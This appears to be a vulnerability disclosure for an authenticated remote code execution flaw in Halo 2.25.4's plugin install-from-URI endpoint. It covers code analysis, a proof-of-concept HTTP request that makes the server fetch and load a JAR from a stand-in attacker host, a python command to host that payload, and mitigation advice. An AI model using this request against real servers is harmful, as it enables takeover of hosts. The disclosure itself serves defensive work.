
Demonstrates an authenticated remote code execution vulnerability in Halo 2.25.4 via unvalidated plugin URI installation, including technical analysis and proof-of-concept exploit.
A critical security vulnerability has been identified in Halo version 2.25.4. The application provides an administrative endpoint to install or upgrade plugins from a remote URI. However, the system fails to validate the source domain of the URI and lacks Server-Side Request Forgery (SSRF) protections on this specific component. An authenticated attacker with plugin management privileges can supply a link to a maliciously crafted plugin JAR file. The server will download, temporarily store, and dynamically load the JAR file into the JVM context using the PF4J framework and Spring's DefaultPluginApplicationContextFactory. This permits the execution of untrusted extension classes, resulting in arbitrary Remote Code Execution (RCE) on the underlying host operating system.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:HPlease separate with commas when submitting to the CVE form:
Plaintext
PluginEndpoint.java, installFromUri method, DefaultPluginApplicationContextFactory
An authenticated administrator can send a crafted HTTP POST request containing a malicious remote plugin JAR URL to the /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri endpoint.
The remote code execution occurs through the following sequence of operations:
PluginEndpoint.installFromUri() method processes the incoming request body (InstallFromUriRequest) and extracts the uri string supplied by the user. There is no domain whitelist filtering applied.DefaultReactiveUrlDataBufferFetcher.fetch(uri). Unlike other internal networking components in Halo, this fetcher does not invoke HttpSecurityUtils.secureHttpClient(), skipping internal private network/loopback IP restrictions (SSRF protection).writeToTempFile(content).pluginService.install(path), which leverages the PF4J JarPluginLoader to unpack and load the JAR file.DefaultPluginApplicationContextFactory automatically parses the metadata inside the plugin's plugin.yaml and registers all declared extension classes into the application context as Active Spring Beans.static {}) or method blocks annotated with @PostConstruct will be executed immediately during instance creation via Runtime.getRuntime().exec().PluginEndpoint.java lines 422-428):Java
var content = request.bodyToMono(InstallFromUriRequest.class)
.map(InstallFromUriRequest::uri)
.flatMapMany(reactiveUrlDataBufferFetcher::fetch); // Unvalidated network fetch
return Mono.usingWhen(writeToTempFile(content), pluginService::install, this::deleteFileIfExists);
The attacker compiles a standard PF4J/Halo plugin JAR file (poc-plugin.jar) containing an extension class with a payload execution mechanism inside a @PostConstruct lifecycle hook or static block. The attacker hosts it on an external listener:
Bash
python3 -m http.server 9999
The authenticated administrative user sends the following HTTP request to the target Halo server:
HTTP
POST /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri HTTP/1.1
Host: <target-ip>:8090
Authorization: Bearer <ADMIN_TOKEN_HERE>
Content-Type: application/json
{
"uri": "http://<attacker-ip>:9999/poc-plugin.jar"
}
The server processes the installation, fetches the artifact from the attacker's server, registers the extension, and executes the compiled system command, compromising the target host.


application.yaml), and stored files.uri argument. Restrict remote installation schemas to verified, trusted official ecosystem marketplaces (e.g., https://awesome.halo.run).DefaultReactiveUrlDataBufferFetcher to utilize the existing HttpSecurityUtils.secureHttpClient() utility to drop requests pointing to loopback (127.0.0.1), link-local (169.254.169.254), or private class networks (10.0.0.0/8, 192.168.0.0/16).JarPluginLoader context should validate file hashes or cryptographic signatures against public keys provided by the official repository before passing them to the DefaultPluginApplicationContextFactory for context instantiation.